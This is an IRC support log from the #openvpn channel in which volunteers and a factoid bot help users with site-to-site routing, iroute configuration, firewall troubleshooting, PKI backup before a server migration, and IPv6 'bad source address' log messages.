18:58 -!- chrisb [~chrisb@li482-205.members.linode.com] has joined #openvpn
19:05 -!- soulse [~soulse@nat/cisco/x-mrdcozdnjcbyeggf] has quit [Read error: Connection reset by peer]
19:05 -!- soulse [~soulse@190.222.252.9] has joined #openvpn
19:20 -!- raidz is now known as raidz_away
19:35 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
19:37 -!- ActionA [~ActionA@2001:470:7:1f6::2] has left #openvpn []
19:40 < digilink> hey folks.... question for the experts. I am trying to setup a static key based site to site TUN/routed openvpn setup for simplicity. I have 3 subnets on one side, and just 1 subnet on the other side and want them to be bidirectional. Will IROUTE's work in a static key based setup or will I need to setup PKI instead?
19:45 <+pekster> digilink: iroute is only valid in a ccd or --client-connect context, both of which are exclusive to mutli-client (or "server") mode, which implies using PKI. Use of 'route' is used instead in a p2p setup with --secret
19:46 < digilink> thanks pekster, I was afraid that would be the case :( I'm trying to avoid having to NAT the traffic across the VPN
19:46 <+pekster> I don't see how your choice of static keyed verses TLS/X509 makes any difference in that
19:47 < digilink> will I need to NAT my traffic from each LAN regardless? just trying to make everything as transparent as possible
19:47 <+pekster> Not if you configure routing properly at each LAN
19:48 < digilink> so say I add static routes at each lan, that points to the other lan and make the gateway that of the openvpn instance in each, would that be enough to do it?
19:49 <+pekster> Yes, along with firewalls rules. FYI, you don't need the OpenVPN peer at either end to be your default gateway (in such a setup the default gateway would need to be made aware of the LAN and route to the VPN peer on that segment)
19:50 < digilink> got it (I think lol) gonna start playing with configs
19:51 <+pekster> You should also make a concious decision about using static keys becuase you're giving up perfect forward secrecy in terms of a security benefit that X509 provides
19:52 < digilink> I've been reading on that as well
19:52 <+pekster> Either way can work from a routing perspective for what you're trying to do, so it's purely a security and semantic choice when you just have 2 peers
19:53 <+pekster> Ah, here's the bot's snippit on that:
19:53 <+pekster> !forwardsecurity
19:53 <@vpnHelper> "forwardsecurity" is (#1) in server/client mode with certs your key renegotiates (changes) every hour (by default), so if someone captures your traffic, and then gets your key, they can only decrypt the traffic within the timeframe since last renegotiation or (#2) in ptp mode (static key) you do not have this, so if someone gets your key they can decrypt ANY past traffic that they captured
19:54 < digilink> interesting...
19:54 < digilink> so in other words, use PKI :)
19:54 <+pekster> As far as configuration, the bot links to a handy flowchart for getting client/server LAN access working. Pick one to work on at a time, and remember you wouldn't be using iroute options if you use a static key setup (use a normal route instead.)
19:54 <+pekster> !serverlan
19:54 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
19:55 <+pekster> !clientlan
19:55 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
19:55 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
20:04 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 256 seconds]
20:18 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
20:18 -!- ben1066 [~quassel@2a03:b200:9::824e:1e6e] has joined #openvpn
20:18 -!- ben1066 [~quassel@2a03:b200:9::824e:1e6e] has quit [Changing host]
20:18 -!- ben1066 [~quassel@unaffiliated/ben1066] has joined #openvpn
20:19 -!- fu_fu [~Adium@c-71-200-223-226.hsd1.fl.comcast.net] has joined #openvpn
20:21 < fu_fu> Hi can anybody help? I have a windows setup with client LAN 10.1.2.0/24 server 10.8.0.0/24; i need all clients to be able to connect to the 10.1.2.0 CLient connected LAN. I can only get a ping to the actual server NIC 10.1.2.15
20:22 <+pekster> !serverlan
20:22 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
20:24 < fu_fu> nice chart! shoudl this do the task? route 10.1.2.0 255.255.255.0
20:24 < fu_fu> push "route 10.1.2.0 255.255.255.0"
20:25 < fu_fu> so the client needs a route back to the server? the thing is that i have a printer at 10.1.2.26 that needs to be avail, the printer is default route to 10.1.2.15
20:25 < DBordello> great chart, that problem frustrated me for hours yesterday
20:25 < DBordello> fu_fu, consider a TAP tunnel?
20:26 <+pekster> You don't want tap for that...
20:26 < DBordello> pekster, why?
20:26 <+pekster> Printers do not require Ethernet frames to function
20:26 <+pekster> !tunortap
20:26 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
20:26 <@vpnHelper> over the vpn or (#4) lan gaming? use tap!
20:27 <+pekster> fu_fu: Follow the flowchart. You need to set up the route to the VPN on the default gateway for the LAN (this will be done for you if the VPN server is also the LAN's default gateway.)
20:27 < DBordello> What is nathack?
20:27 <+pekster> source NAT between 2 LANs is ugly and breaks bi-directional connectivity
20:28 < DBordello> figures
20:28 <+pekster> The only reason you'd ever need to do that is if you don't control the gateway in your enviornment
20:28 <+pekster> Actually, NAT in general is ugly
20:28 < DBordello> the reason I used TAP was since I don't have a gateway on the LAN
20:29 <+pekster> That makes no sense. Not having a gateway to the rest of the Internet would mean you don't need a VPN to start with
20:29 < fu_fu> the client is the one with the LAN that needs  to be accessed, i could just switch it around  client for server, but I rather not.
20:29 <+pekster> fu_fu: Oh, the LAN is on the client?
20:29 <+pekster> k
20:29 <+pekster> !clientlan
20:30 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
20:30 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
20:30 < fu_fu> ipforwarding is enabled and tests : YES
20:30 <+pekster> Sorry, I mis-read that and your question was properly phrased from the start :(
20:30 < DBordello> pekster, it is an internal mangament lan.  I am accessing it through a dual-homed server, that is where the VPN comes in
20:31 <+pekster> DBordello: Ah, gotcha. I tend to prefer SNAT for stuff like that, but whatever works for you
20:31 <+pekster> Or just route your "special VPN users" to the LAN and drop a gateway there allowing only access to those users
20:32 <+pekster> A default gateway on a management backend is fine as long as you have strict access controls to reach it
20:32 < fu_fu> in the diagram, last section, says do you have access to the router? does this mean the  default router of the client machine?
20:32 < DBordello> I decided to play it safe, no gateway needed.  It is mostly IPMI etc type devices.  THey have a tendency to forget their gateway anyways
20:32 <+pekster> fu_fu: Yes. The systems on your client LAN need to form a reply packet, and it needs to go back over the same path it took to get there
20:33 <+pekster> DBordello: Sure. I'm not saying it's always bad, but it's "often" the wrong decision to completely lock off a LAN, and then just hack around the security in the end anyway ;)
20:34 < fu_fu> ok, so do i route to the LAN interface of the client, 10.1.2.15 or to the tunnel?
20:34 < DBordello> pekster, probably true ;)
20:34 <+pekster> fu_fu: Gateways are always on your local network
20:35 <+pekster> Add a return route for the VPN network range routed through the VPN client's local IP with respect to the client-side LAN
20:35 < fu_fu> cool, i will try it now
20:36 < DBordello> On the return path, would it go PC -> Gateway -> VPN PC?
20:36 < DBordello> Well
20:36 < DBordello> PC -> Gateway -> VPN PC === VPN ===> Client
20:37 < DBordello> The fact that those first two links are in the same physical segment doesn't cause problems?
20:38 <+pekster> Nope. That's how routing works
20:39 <+pekster> A gateway just looks up the OSI L2 address of a system to send a packet based on its L3 destination
20:39 < DBordello> interesting
20:39 < DBordello> i guess it doesn't care whaT L2 segment it is on
20:40 <+pekster> Sure it does; you can't send an Ethernet frame to something that's not on your LAN ;)
20:40 <+pekster> Say my network is 192.168.50.0/24; I can't just magically route to a network via 10.20.30.6, because I can't directly reach that system by Ethernet
20:41 <+pekster> You might get some learning material out of a link like this:
20:41 <+pekster> !tcpip
20:41 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
20:42 < fu_fu> you dudes rock!
20:51 -!- mnathani [~zee@198-84-231-11.cpe.teksavvy.com] has quit [Read error: Connection reset by peer]
20:53 -!- mnathani [~zee@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
20:54 < fu_fu> ok so the client-side LAN router can get to the VPN tunnel and to the other side to the VPN server, even to clients on the other end of the vpn. VPNserver still can not ping the printer
20:55 < fu_fu> vpnserver->TUN>Client>printer
20:55 < fu_fu> i get the learn message in the daemon when I try to ping so i guess it is not getting back correctly
20:56 <+pekster> Where in the flowchart are you getting stuck?
20:58 <+pekster> It could be a firewall issue too; are you firewall rules permissive of the reply traffic on your VPN server?
20:58 < fu_fu> i just added the route to the router, and it works fine, can get to clinets over the vpn even past the server
21:00 < fu_fu> ok, i can not ping the clientside router form the server
21:00 < fu_fu> so is the route problem on the server side, or still maybe a fw block
21:01 <+pekster> You need to start at the very top of the flowchart instead of jumping around from the top all the way to the bottom
21:06 < fu_fu> I will check again, but I think I did. "can ou ping another mahcine in the LAN? NO, access to router, YES, route added router can ping to 10.8.0.1(tunnel side of server)"
21:10 <+pekster> Okay, so from the VPN server you can ping the IP of a system on the client LAN that's not the VPN client system?
21:11 < fu_fu> no
21:11 <+pekster> So, you likely have a firewall issue at your client-LAN default gateway. You could test this by taking another LAN client and adding a manual route to the VPN network via the VPN client's LAN IP
21:11 <+pekster> If that works, you need to fix your firewall (or routing) on the client-side LAN gateway
21:11 <+pekster> If it doesn't, you'll need to post VPN config files because something else would be wrong
21:14 < fu_fu> ok, ya, i see i may need to add an access list for the ping to the VPN network
21:14 < fu_fu> would that give this type of issue?
21:38 <+pekster> It could, yes. A firewall at any path the packet takes is able to deny the traffic is so configured
21:43 < fu_fu> pekster, thank you for going through this with me.
21:47 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
21:47 <@ecrist> sup folks?
21:48 < fu_fu> Hi, ecrist
22:00 -!- brute11k [~brute11k@89.249.235.75] has quit [Quit: Leaving.]
22:22 -!- ben1066_ [~quassel@2a03:b200:9::824e:1e6e] has joined #openvpn
22:22 -!- ben1066_ [~quassel@2a03:b200:9::824e:1e6e] has quit [Changing host]
22:22 -!- ben1066_ [~quassel@unaffiliated/ben1066] has joined #openvpn
22:22 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
22:22 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
22:22 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
22:22 -!- mode/#openvpn [+o krzee] by ChanServ
22:22 -!- ben1066 [~quassel@unaffiliated/ben1066] has quit [Ping timeout: 260 seconds]
22:45 -!- fu_fu [~Adium@c-71-200-223-226.hsd1.fl.comcast.net] has quit [Quit: Leaving.]
23:25 -!- soulse [~soulse@190.222.252.9] has left #openvpn ["Leaving..."]
--- Day changed Tue Jan 08 2013
00:13 -!- jave_ [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
00:13 -!- jgeboski- [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
00:14 -!- Netsplit *.net <-> *.split quits: WinstonSmith, jgeboski, jave
00:15 -!- jgeboski- is now known as jgeboski
00:16 -!- Netsplit over, joins: WinstonSmith
00:22 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving]
00:24 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
00:43 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
00:54 -!- kyrix [~ashley@71-212-76-89.tukw.qwest.net] has joined #openvpn
01:24 -!- nutron [~nutron@unaffiliated/nutron] has quit [Remote host closed the connection]
01:39 -!- Devastator- [~devas@177.18.197.67] has joined #openvpn
01:41 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 255 seconds]
01:55 -!- csaba [~csaba@195.199.154.25] has joined #openvpn
01:56 < csaba> hi
01:56 < csaba> would like to ask for some help
01:57 < csaba> I have a firewall with openvpn on it, it is ipcop
01:58 < csaba> and soon I will have to replace the machine. The question is can I keep the existing openvpn keys on it once I move to new hardware?
01:58 -!- Thermi [~Thermi@HSI-KBW-078-043-018-016.hsi4.kabel-badenwuerttemberg.de] has quit [Ping timeout: 246 seconds]
01:58 < csaba> It is in a highschool where about 60 teachers have vpn keys so I do not want to recreate them.
01:58 <+pekster> csaba: Just copy them over; the keys and certs are just files (unless you're doing something with hardware devices, like smartcards. That's rare on a server.)
01:59 < csaba> same question, what happens if I have to change the ethernet card?
01:59 <+pekster> If you kept your PKI on that same host, back up that entire PKI directory (you should be doing that anyway in case the system has a problem and you need to recover, otherwise you'll have to start a new PKI)
02:00 <+pekster> If you have to change the Ethernet card? OpenVPN doesn't care about your network hardware so long as it has network access
02:00 < csaba> ok, I thought it creates some kind of link to that specific eth card for securuty reasons
02:00 -!- Thermi [~Thermi@HSI-KBW-078-043-018-016.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
02:01 <+pekster> Nope. The security is based on TLS using an X.509 PKI model
02:01 < csaba> but if it is that simple, that is cool
02:01 <+pekster> If you have a deployment like that with 60 remote field users, you should really consider your backup and disaster-recovery procedures too
02:02 <+pekster> (primarily applies to your PKI, since worst-case you could always generate a new server certificate. It really sucks to have to re-do a deployed PKI becuase your CA box exploded and you don't have backups)
02:03 < csaba> right now I have raid mirror and that is it
02:03 <+pekster> Just remember, you can't issue new certificates without your PKI files (easy-rsa, or whatever other frontend you might use to generate the certs)
02:04 < csaba> thanks, I need to find them then
02:05 < csaba> I thiink it is safe to just backup the entire openvpn dir
02:05 <@krzee> the ethernet card question assumes you're not in bridge mode
02:05 <+pekster> Yup. Some people keep them on the VPN server out of convenience, but it's bad practice to keep the CA files on the VPN server itself. Some smaller deployments may not care about best practices (a home VPN server, for example, might not need to split things like that)
02:06 <+pekster> With respect to the key/cert files it's not related to the card krzee
02:06 < csaba> do you have any experience with ipcop?
02:06 <+pekster> configs perhaps if the IP changes on the server in a bridge setup, but not the PKI
02:06 <+pekster> I have no experience with it
02:06 <@krzee> right
02:07 < csaba> I do not happen to find the pki files
02:07 <+pekster> Where'd you generate the PKI?
02:07 < csaba> I have .p12 and .pem files
02:08 < csaba> for the users
02:08 <+pekster> You're going to be very unhappy if you reformat that box and the CA was stored on there and you don't have backups
02:08 <+pekster> Step 1: find it. Step 2: do backups. Step 3: understand the importance of proper management of your security-centric infrastructure
02:09 <+pekster> ie: where is it you go to sign a new cert for a user or to re-issue an expiring one?
02:09 <@krzee> if a new teacher came, how would you make him a new cert?
02:10 < csaba> http://www.ipcop.org/2.0.0/en/admin/html/vpns-openvpn.html
02:10 <@vpnHelper> Title: 2.7.4. OpenVPN Configuration Administrative Web Page (at www.ipcop.org)
02:10 < csaba> like this
02:10 <@krzee> you better be careful before you format
02:10 < csaba> right now I was looking for the files over ssh on the server
02:10 <@krzee> you need to get the pki out
02:11 < csaba> wonder why do I need the pki when this setup does not have any?
02:12 < csaba> I think it is using a different method
02:12 < csaba> but I know little about this
02:12 < csaba> it was pretty easy to set openvpn up with ipcop
02:13 <@krzee> do you give your users files or passwords?
02:13 < csaba> well, both
02:13 < csaba> I generate a new user then also a password
02:14 <@krzee> i see
02:14 < csaba> and they change that later with openvpngui
02:14 <@krzee> oh ok
02:14 <@krzee> that is a passphrase on their cert
02:14 <@krzee> same as doing:
02:14 < csaba> so now when I see the files over ssh these are pem and p12 files
02:14 <@krzee> !factoids search cert
02:14 <@vpnHelper> 'servercert', 'certs', 'nocert', 'certverify', 'certinfo', 'cert_chains', and 'certfight'
02:14 <@krzee> !factoids search pass
02:14 <@vpnHelper> 'winpass', '2.1-winpass-script', 'authpass', 'password-only', 'strip-passphrase', 'change-passphrase', 'enable-passwd-save', and 'password'
02:15 <@krzee> !change-passphrase
02:15 <@vpnHelper> "change-passphrase" is see http://openvpn.net/archive/openvpn-users/2005-03/msg00230.html for how to change (or add) a key's passphrase
02:15 <@krzee> thats what the change password feature of openvpngui does
02:15 <@krzee> which means they are using pki
02:15 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has quit [Ping timeout: 255 seconds]
02:15 < csaba> let me verify then, if I backup the openvpn dir is that enough?
02:16 <@krzee> if i were you i would NOT format that box
02:16 <@krzee> i would get another one running how i want it
02:16 < csaba> if lets say I need to build a new one then copy openvpn over and be fine?
02:16 <@krzee> then you could format
02:16 <@krzee> no way for me to know
02:16 <@krzee> you're asking a ipcop question
02:16 <+pekster> csaba: Backing up the openvpn dir will NOT be enough UNLESS your entire CA PKI structure is in that directory (if it is, then you might be fine)
02:16 < csaba> oh of course I do not want to format
02:16 <@krzee> ^
02:16 <+pekster> No one here can tell you where your PKI files are ;)
02:17 <+pekster> You should know this (you need to go there every time you sign a cert, so you should know how to find it yourself, hopefully)
02:17 <@krzee> he uses a web gui
02:17 <@krzee> this is why i hate web guis, it leads people to not know what they're really doing
02:17 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 252 seconds]
02:18 < csaba> I think like I said this pne uses pem and p12 files, and somehow they hold that PKI you gusy talk about
02:19 <+pekster> No, those are just the files issued to the server
02:19 < csaba> hm, ok
02:19 <+pekster> There's an entire PKI with your CA private key, about a dozen helper files that contain your entire certificate database, and every issued certificate you've ever processed
02:20 <+pekster> And if you fail to save it properly, you will never be able to issue another certificate, and will have to start which will void all the stuff you've issued. I'd strongly suggest you learn what PKI management is so you can do these steps yourself, otherwise you are risking this all happening anyway from a simple disk or filesystem failure
02:21 < csaba> yes, true and that is exactly what I am after
02:21 < csaba> thanks so far for taking your time with me
02:21 <@krzee> whatever you do, do not delete this system until after you have another server up and issuing working certs
02:22 < csaba> ok, thanks
02:22 < csaba> and all I wanted to know if openvpn was connected to the hw or not
02:22 < csaba> so good news is that it is not
02:23 <@krzee> openvpn is only dependant on the hw if you're in bridge mode
02:24 < csaba> are those PKI files have a .pki ending?
02:24 <+pekster> No. They're technically extension-independent, but usually contain a variety of .key, .crt (or .cert) and .csr (or .req) files
02:24 <+pekster> You could call them secret.jpg if you wanted; the system doesn't care
02:27 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has joined #openvpn
02:27 < csaba> ok, interestingly I have these dirs: ca, ccd, certs, crls openssl but only certs have files in them
02:28 < csaba> the mentioned pem and p12 files for users
02:30 <@krzee> where are those dirs?
02:31 -!- brute11k [~brute11k@89.249.235.75] has joined #openvpn
02:31 < csaba> /var/ipcop/openvpn
02:35 < csaba> the pki is the root host cert?
02:35 < csaba> I think as I remember this root host cert was the first I had to create
02:35 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has quit [Quit: Ex-Chat]
02:36 < csaba> for root I can download a cacert.pem and  for host a hostcert.pem
02:37 < csaba> like this: http://www.ipcop.org/2.0.0/en/admin/html/vpns-ca.html
02:37 <@vpnHelper> Title: 2.7.5.Certificate Authorities Administrative Web Page (at www.ipcop.org)
02:39 <+pekster> You need to save the entire PKI structure. Not just the certs, and not just the keys. The entire PKI structure needs to be moved over if it's on that system. You'll have to check with the documentation of whatever frontend you're using, because I have no clue how it's designed or where the files are stored or whate format they're in
02:41 < csaba> ok, sorry guys and thanks for your patience
02:41 <+pekster> It sounds like this *might* be stored under /var/ipcop/openvpn, but I can't really be sure without seeing the setup
02:42 < csaba> ok, that is what I am guessing too, just weird that I do not find any pki
02:43 <+pekster> .pem is a common extension for holding any of the data types (PEM and DER are the 2 most common encodings of X509 data, along with the p12 container format)
02:43 <+pekster> Again, the extension is just convention and you could call them .blah if you wanted
02:46 -!- ade_b [~Ade@95.209.17.187.bredband.tre.se] has joined #openvpn
02:46 -!- ade_b [~Ade@95.209.17.187.bredband.tre.se] has quit [Changing host]
02:46 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
02:58 -!- chrisb [~chrisb@li482-205.members.linode.com] has quit [Ping timeout: 276 seconds]
03:06 -!- wrod [~wrodrigue@110.235.82.2] has joined #openvpn
03:21 < IT> gello
03:22 < IT> how can i link toghether 2 LAN's, with machines beeing able to ping eatch other via routing? what i'm i missing from this config http://pastebin.com/2AGRFSuK ?
03:23 -!- brute11k [~brute11k@89.249.235.75] has quit [Ping timeout: 240 seconds]
03:31 -!- Devastator- [~devas@177.18.197.67] has quit [Changing host]
03:31 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
03:31 -!- Devastator- is now known as Devastator
03:31 -!- kobolduk [~kobolduk@office.prolocation.net] has joined #openvpn
03:31 <+pekster> IT: At the very least an iroute since you've commented out the client-config-dir paramater that's required to support it. This is listed on the guide/flowchart:
03:31 <+pekster> !clientlan
03:31 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
03:31 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
03:32 < IT> ty
03:32 < IT> !route_outside_openvpn
03:32 <@vpnHelper> "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
03:32 <+pekster> IT: Separate from that, you also need to follow the 2nd flowchart to fully support the LAN behind the server. You need both steps done fully and correctly in order to get bidirectional communication. The server-side LAN is desscribed here:
03:32 <+pekster> !serverlan
03:32 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
03:33 <+pekster> IT: remember, pick just one to fully work on at a time before moving to the next as they're both required
03:33 < IT> damn
03:36 -!- kyrix [~ashley@71-212-76-89.tukw.qwest.net] has quit [Quit: Ex-Chat]
03:40 -!- ronsel [~ronsel@dslb-088-074-167-187.pools.arcor-ip.net] has joined #openvpn
03:42 <@krzee> be sure you read and understand this:
03:42 <@krzee> !route
03:42 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide
03:43 <@krzee> looks like you're missing an iroute
03:43 <+pekster> Yea, I noted that too but linked both docs in case there's more missing too
03:43 <@krzee> yep
03:44 < IT> allready added that in ccd "iroute 192.168.1.0 255.255.255.0"
03:44 <@krzee> you uncommented ccd in the server config too right
03:44 < IT> yeap
03:44 <@krzee> then continue with the flowcharts
03:44 < IT> that was there for debugging
03:45 <+pekster> You've also reversed your networks at some point
03:45 < IT> allredy reviewd them, there's something related to routing
03:45 <@krzee> IT, huh?
03:45 <@krzee> nowhere in my flowcharts does it say "theres something related to routing"
03:51 -!- fu_fu [~Adium@c-71-200-223-226.hsd1.fl.comcast.net] has joined #openvpn
03:53 < fu_fu> can anyone tell me what this means? Tue Jan 08 03:21:19 2013 us=821375 ja/82.x.x.x:x1694 MULTI: bad source address from client [fe80::f88e:1c69:4d17:bf5], packet dropped how do I translate that address? the client addr is actually 192.168.1.5; last time i put iroute for that it brought the whole system down
03:56 <+pekster> fu_fu: Evidently your client is sourcing IPv6 data across the VPN from an address the server doesn't recoganize. I'm guessing that's a Windows client? I've seen them frequently get confused when multiple local addresses are available to source packets from due to poor multihoming abilities of the platform
03:56 <+pekster> There's nothing you can do really, besides fix whatever bad application on the client's end is doing something that silly
03:59 < fu_fu> hard to diagnose a remote client, is there a decoder for the source number? fe80::f88e:1c69:4d17:bf5]
04:00 <+pekster> The "decoder" you want is known as IANA which manages IPv6 (and IPv4) allocations
04:00 <@plaisthos> fu_fu: fe80 is link local
04:00 <+pekster> http://www.iana.org/assignments/ipv6-address-space/ipv6-address-space.xml
04:00 <@vpnHelper> Title: Internet Protocol Version 6 Address Space (at www.iana.org)
04:00 < fu_fu> right on, thanks again
04:00 <+pekster> OpenVPN should never be assigning that address to the TAP adapter for the VPN interface, so Windows has made a mistake and is sourcing traffic poorly
04:01 <+pekster> I've seen it do that on completely IPv4 networks too with its LAN IP, so it's just bad OS design
04:01 <+pekster> It's not a problem as OpenVPN drops such badly sourced packets (you can ignore the error, unless it's a sign of a broken application you need to debug from the client side)
04:03 < fu_fu> the broken app is Remote Desktop I think, but could be the user is using IPv6 autoassign, and these are just regular bcasts, right
04:04 <@krzee> bcasts over ipv4?
04:04 <+pekster> It has no route across the VPN adapter for such packets unless you've specificlly set up IPv6 support. So no, it's just Windows screwing things up
04:05 <+pekster> Also save to ignore
04:05 <+pekster> safe*
04:06 -!- dazo_afk is now known as dazo
04:07 < fu_fu> i had the server close socket 3 times in the past four hours, and it coincides with this err message, i thought it related
04:09 <+pekster> That's an error dealing with encapsulated addressing within your tunnel. I hope you don't mean OpenVPN is getting disconnected as a result
04:11 < fu_fu> i will up the logging factor, best to find out, than suppose
04:16 -!- brute11k [~brute11k@89.249.235.33] has joined #openvpn
04:17 < fu_fu> need to get some sleep, take care all
04:18 -!- fu_fu [~Adium@c-71-200-223-226.hsd1.fl.comcast.net] has quit [Quit: Leaving.]
04:33 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
04:34 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds]
04:44 <@dazo> pekster: if you see people here having the "MULTI: bad source address" issue ... this might be a good pointer: http://openvpn.net/index.php/open-source/faq/79-client/317-qmulti-bad-source-address-from-client--packet-droppedq-or-qget-inst-by-virt-failedq.html
04:44 <@vpnHelper> Title: "MULTI: bad source address from client , packet dropped" or "GET INST BY VIRT: [failed]"? (at openvpn.net)
05:04 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has quit [Ping timeout: 252 seconds]
05:06 -!- Eagleman [~Eagleman@D4B2D271.static.ziggozakelijk.nl] has joined #openvpn
05:06 < Eagleman> How much speedloss in MB's will there be on an 60MB connection with 256bit encryption?
05:16 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
05:25 -!- wrod [~wrodrigue@110.235.82.2] has quit [Remote host closed the connection]
05:28 < kisom> Eagleman: How fast does my car go if I push it to the max?
05:36 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
05:36 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
05:36 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
05:36 -!- mode/#openvpn [+o krzee] by ChanServ
05:42 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has quit [Ping timeout: 276 seconds]
05:43 < pppingme> Eagleman Its a legit question, but I don't know the answer, encryption will add some overhead, so there will be more data obviously, but I don't know the numbers
05:44 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
05:45 < pppingme> Eagleman on the plus side, openvpn does support compression, which doesn't happen over a typical connection, so it may be a wash, or even to your advantage, depending on the type of data.
05:47 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has joined #openvpn
05:48 -!- Carbon_Monoxide [~cmonxide@058176022144.ctinets.com] has joined #openvpn
05:49 -!- Carbon_Monoxide [~cmonxide@058176022144.ctinets.com] has quit [Read error: Connection reset by peer]
05:53 -!- thermoman [~thermoman@idle.foobar0815.de] has joined #openvpn
05:53 < thermoman> is it possible to use cidr notation for push route?
05:53 < thermoman> e.g. push "route 1.2.3.4/24"
05:53 < thermoman> instead of
05:53 < thermoman> e.g. push "route 1.2.3.4 netmask 255.255.255.0"
05:53 <@plaisthos> thermoman: no
05:53 < thermoman> the netmask version is ugly to read
05:53 < thermoman> :(
05:54 <@plaisthos> thermoman: you can create a patch if you want :)
05:54  * thermoman submits a feature request
05:54 < thermoman> :)
05:54 <@krzee> you read your routes often?
05:54 <@krzee> your vpn configs?
05:55 <@krzee> i configure my stuff, and then it works
05:55 <@krzee> if your desktop background picture is your vpn config, i understand
05:55 <@plaisthos> not even some professional equipment does support cidr for route syntax ;)
06:00 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 256 seconds]
06:17 <@krzee> !ping
06:17 <@vpnHelper> pong
06:20 <@plaisthos> lol
06:25 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
06:32 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 240 seconds]
06:37 -!- niervol [~krystian@193.106.244.150] has joined #openvpn
06:43 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
06:47 -!- ade_b [~Ade@redhat/adeb] has quit [Client Quit]
06:56 -!- ade_b [~Ade@95.209.17.187.bredband.tre.se] has joined #openvpn
06:56 -!- ade_b [~Ade@95.209.17.187.bredband.tre.se] has quit [Changing host]
